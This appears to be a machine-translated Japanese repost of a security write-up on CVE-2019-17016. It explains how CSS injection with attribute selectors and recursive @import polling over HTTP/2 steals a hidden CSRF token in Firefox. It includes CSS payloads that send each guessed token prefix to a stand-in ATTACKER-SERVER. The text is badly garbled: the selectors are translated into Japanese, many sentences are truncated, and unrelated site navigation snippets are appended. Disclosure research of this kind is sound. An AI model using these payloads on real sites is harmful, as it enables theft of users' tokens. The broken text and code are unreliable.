0x00 はじめに 数か月前、Firefox に脆弱性 (CVE-2019-17016) があることを発見しました。調査中に、Firefox の CSS を使用して単一のインジェクション ポイントからデータを盗むことができるデータ窃盗手法を発見しました。調査結果を皆さんと共有したいと思います。 0x01 背景 デモンストレーションの目的で、 <input type="hidden" name="csrftoken" value="SOME_VALUE"> スクリプトを使用できないため (おそらく CSP が原因)、スタイルベースのインジェクションを探しています。従来のアプローチでは、次のように属性セレクタを使用します。 入力[名前='csrftoken'][値^='a'] { 背景: url(//ATTACKER-SERVER/leak/a); } 入力[名前='csrftoken'][値^='b'] { 背景: url(//ATTACKER-SERVER/leak/b); } ... 入力[名前='csrftoken'][値^='z'] { 背景: url(//ATTACKER-SERVER/leak/z); } CSS ルールが適用されると、攻撃者は HTTP リクエストを受信してトークンの最初の文字を取得できます。次に、攻撃者は、以下に示すように、盗んだ最初の文字を含む別のスタイルシートを準備する必要があります。 入力[名前='csrftoken'][値^='aa'] { 背景: url(//ATTACKER-SERVER/leak/aa); } 入力[名前='csrftoken'][値^='ab'] { 背景: url(//ATTACKER-SERVER/leak/ab); } ... 入力[名前='csrftoken'][値^='az'] { 背景: url(//ATTACKER-SERVER/leak/az); } 通常、攻撃者は、後続のスタイルシートを提供するために、 2018 年、Pepe Vila 氏は、Chrome の CSS 再帰インポートを悪用して、単一の注入ポイントで同じタスクを達成するという非常に優れたアイデアを思いつきました。 2019 年、Nathanial Lattimer (@d0nutptr) が、少し工夫を加えて同じ手法を再提案しました。以下では、この記事のアイディアに近い Lattimer の方法を簡単にまとめます (ただし、この調査中に Lattimer の以前の研究を知らなかったため、車輪の再発明だと思われる方もいるかもしれません)。 つまり、最初の注入では一連の @import url(//ATTACKER-SERVER/polling?len=0); @import url(//ATTACKER-SERVER/polling?len=1); @import url(//ATTACKER-SERVER/polling?len=2); ... 中心となる考え方は次のとおりです。 1. 最初は、最初の 2. 最初の 3. 漏洩した最初のトークンが 4. 2 番目に漏洩した文字が この手法が機能するのは、Chrome が 0x02 Firefoxとスタイルシートの処理 上記の方法は、スタイルシートを Chrome とはまったく異なる方法で処理する Firefox では機能しません。ここでは、いくつかの事例を使ってその違いを説明します。 まず、Firefox はスタイルシートを同期的に処理します。したがって、スタイルシートに複数の <スタイル> @import '/polling/0'; @import '/polling/1'; @import '/polling/2'; </スタイル> 最初の これを修正するには、すべての <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> 上記のコードでは、Firefox はすべてのスタイルシートを個別に処理するため、ページはすぐに青色に変わり、その他の しかし、ここで別の問題が発生します。10 文字を含むトークンを盗むとします。 <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style> Firefox はすぐに 10 件の 0x03 HTTP/2 6 つの接続の制限は TCP 層によって決定されるため、単一のサーバーに対して同時に存在できる TCP 接続は 6 つだけです。この場合、HTTP/2 が役に立つと思います。 HTTP/2 には多くの利点があります。たとえば、単一の接続を介して複数の HTTP リクエストを送信できるため (多重化とも呼ばれます)、パフォーマンスが大幅に向上します。 Firefox では、単一の HTTP/2 接続に対する同時リクエストの数も制限されていますが、デフォルトではその制限は 0x04 搾取 これで準備はすべて整いました。主なエクスプロイトのシナリオは次のとおりです。 1. エクスプロイトコードは HTTP/2 に基づいています。 2. 3. 4. Firefox に同じサーバーへの 2 つの TCP 接続を強制的に開始させるために、ここでは 5. エンドポイント この方法で さらに、PoC コードも GitHub でホストしており、攻撃プロセスはここにあるビデオで確認できます。 興味深いことに、HTTP/2 を使用しているため、攻撃は非常に高速で、トークン全体を 3 秒以内に取得できます。 0x05 概要 この記事では、ページをリロードせずに CSS 経由でデータを盗むためにインジェクション ポイントを悪用する方法を説明しました。ここで重要な点は 2 つあります。 1. 2. TCP 同時接続制限を回避するには、HTTP/2 を介して攻撃を開始する必要があります。 以上が、Firefox ブラウザで CSS を使用してデータを盗む方法についてご紹介しました。お役に立てれば幸いです。123WORDPRESS.COM ウェブサイトをご愛顧いただき、誠にありがとうございます。 |
<<: DockerはClickHouseをインストールし、データテストを初期化します
>>: 入力テキスト ボックスと画像検証コードの位置合わせの問題 (画像は常に入力より 1 つ上になります)
目次1. 準備2. 減圧3. 統合を開始する1. 準備Ckeditor_4.5.7_full + C...
目次1. 関数シグネチャ2. 関数のオーバーロード2.1 オーバーロードされたシグネチャは呼び出し可...
この記事のシナリオと組み合わせて、Nginx と Java 環境 (SpringBoot プロジェク...
1. テストテーブルを作成する テーブル `mysql_genarate` を作成します ( `id...
1. MacにMySQLデータベースをインストールする1. MySQLデータベースをダウンロードする...
最近Nginxを構築しているのですが、ドメイン名でアクセスできません。 nginx 構成ファイル n...
目次配列をフラット化する方法1.flat() の使用2. 正規表現を使用する3.reduce()+c...
1. 最新のnginx dockerイメージをダウンロードする $ docker pull ngin...
ポート マッピングは、Docker を別のコンテナーに接続する唯一の方法ではありません。 Docke...
目次導入実装手順キャンバス環境を作成するライティングボールBallクラスを継承するMoveBallク...
この記事は主に、SQL のストアド プロシージャから返されたデータを取得するプロセスの分析を紹介しま...
Vue で SVG アイコンを導入する方法Vue で svg アイコンを導入する方法 1インストール...
みなさんこんにちは。私は技術の話ばかりして髪を切らない先生のトニーです。何らかの歴史的な理由や誤操作...
Ubuntu でサービスを作成し、自動的に起動する方法: 1. [/lib/systemd/syst...
目次1. キーワード2. 脱構築3. 文字列4. 正規化5. 配列6. 機能7. オブジェクト8.シ...